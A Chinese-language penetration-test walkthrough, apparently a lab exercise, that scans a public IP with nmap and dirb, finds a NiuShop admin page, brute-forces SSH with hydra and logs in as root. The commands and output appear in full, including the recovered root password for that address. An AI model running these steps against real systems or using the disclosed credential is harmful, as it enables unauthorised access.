1.用kali自带的nmap进行端口扫描。

- 输入nmap 39.105.4.225

```
┌──(li㉿kali)-[~]
└─$ nmap 39.105.4.225
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-08 22:25 CST
Nmap scan report for 39.105.4.225
Host is up (0.028s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
110/tcp open  pop3

Nmap done: 1 IP address (1 host up) scanned in 44.08 seconds
```

2.使用dirb进行目录扫描

```
---- Scanning URL: http://39.105.4.225/niushop/niushop-master/ ----

+ http://39.105.4.225/niushop/niushop-master/.svn (CODE:403|SIZE:261)
^[[B^[[B^[[B
+ http://39.105.4.225/niushop/niushop-master/0 (CODE:200|SIZE:125884)

==> DIRECTORY: http://39.105.4.225/niushop/niushop-master/addons/

==> DIRECTORY: http://39.105.4.225/niushop/niushop-master/admin/
+ http://39.105.4.225/niushop/niushop-master/Admin (CODE:302|SIZE:0)
+ http://39.105.4.225/niushop/niushop-master/ADMIN (CODE:302|SIZE:0)
^[[B^[[B^[[B
+ http://39.105.4.225/niushop/niushop-master/api (CODE:200|SIZE:0)

==> DIRECTORY: http://39.105.4.225/niushop/niushop-master/application/
+ http://39.105.4.225/niushop/niushop-master/cms (CODE:200|SIZE:0)
+ http://39.105.4.225/niushop/niushop-master/components (CODE:200|SIZE:0)

==> DIRECTORY: http://39.105.4.225/niushop/niushop-master/data/

==> DIRECTORY: http://39.105.4.225/niushop/niushop-master/download/
+ http://39.105.4.225/niushop/niushop-master/index (CODE:200|SIZE:125888)
+ http://39.105.4.225/niushop/niushop-master/index.html (CODE:200|SIZE:125893
)
+ http://39.105.4.225/niushop/niushop-master/index.php (CODE:200|SIZE:125883)
+ http://39.105.4.225/niushop/niushop-master/LICENSE (CODE:403|SIZE:261)
+ http://39.105.4.225/niushop/niushop-master/list (CODE:200|SIZE:176490)
```

- 访问http://39.105.4.225/niushop/niushop-master/admin 发现是后台

3.使用hydra爆破ssh密码

- 输入hydra -L '/home/li/桌面/22.txt' -P '/home/li/桌面/22.txt' ssh://39.105.4.225

```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in
 military or secret service organizations, or for illegal purposes (this is n
on-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-08 22:
58:01
[WARNING] Many SSH configurations limit the number of parallel tasks, it is r
ecommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 49 login tries (l:7/p:7),
 ~4 tries per task
[DATA] attacking ssh://39.105.4.225:22/
[22][ssh] host: 39.105.4.225   login: root   password: Admin@123!
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-04-08 22:
58:14
```

- 爆破出了用户名root和密码Admin@123!
- 再输入ssh root@39.105.4.225

```
┌──(li㉿kali)-[~]
└─$ ssh root@39.105.4.225
The authenticity of host '39.105.4.225 (39.105.4.225)' can't be established.
ED25519 key fingerprint is SHA256:IXRd86Dxvn0OvX1csZ767OZ63kLFUQBVjGO8stATWyc
.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '39.105.4.225' (ED25519) to the list of known host
s.
root@39.105.4.225's password:
Last failed login: Tue Apr  8 22:58:03 CST 2025 from 124.89.2.94 on ssh:notty
There were 15 failed login attempts since the last successful login.
Last login: Tue Apr  8 22:07:35 2025 from 111.18.138.19
[root@iZ2ze6fbikhv112bw9w60wZ ~]#
```

- 利用得到密码Admin@123!成功登入